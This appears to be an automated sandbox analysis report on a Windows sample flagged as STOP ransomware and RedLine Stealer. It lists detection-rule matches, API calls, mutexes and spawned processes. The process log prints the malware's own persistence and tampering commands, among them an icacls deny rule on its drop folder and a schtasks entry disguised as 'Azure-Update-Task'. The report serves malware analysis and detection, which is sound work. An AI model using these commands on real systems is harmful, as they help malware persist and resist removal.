Source: 00000007.00000002.1787558327.0000000001ACE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2350442166.0000000000990000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000017.00000002.2105470149.0000000005ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.1914065003.000000000098D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000B.00000002.1848123271.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.1864325643.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001E.00000002.3584399204.00000000009E0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: SUwX12D2S6.exe PID: 7260, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7276, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7396, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7460, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7488, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7264, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: SUwX12D2S6.exe PID: 7252, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@45/1373@9/5

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 0_2_0459B7C6 CreateToolhelp32Snapshot,Module32First,

0_2_0459B7C6

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

File created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3752:120:WilError_03
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8112:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Command line argument: F:\	1_2_00419F90

Source: SUwX12D2S6.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000008.00000002.1970716529.0000000020E29000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1970251533.000000001E8E8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: SUwX12D2S6.exe

Virustotal: Detection: 40%

Source: SUwX12D2S6.exe	String found in binary or memory: set-addPolicy
Source: SUwX12D2S6.exe	String found in binary or memory: id-cmc-addExtensions
Source: SUwX12D2S6.exe	String found in binary or memory: set-addPolicy
Source: SUwX12D2S6.exe	String found in binary or memory: id-cmc-addExtensions
Source: SUwX12D2S6.exe	String found in binary or memory: set-addPolicy
Source: SUwX12D2S6.exe	String found in binary or memory: id-cmc-addExtensions
Source: SUwX12D2S6.exe	String found in binary or memory: set-addPolicy
Source: SUwX12D2S6.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\SUwX12D2S6.exe

File read: C:\Users\user\Desktop\SUwX12D2S6.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe"
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe"
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\Desktop\SUwX12D2S6.exe "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe"
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Process created: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe"
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
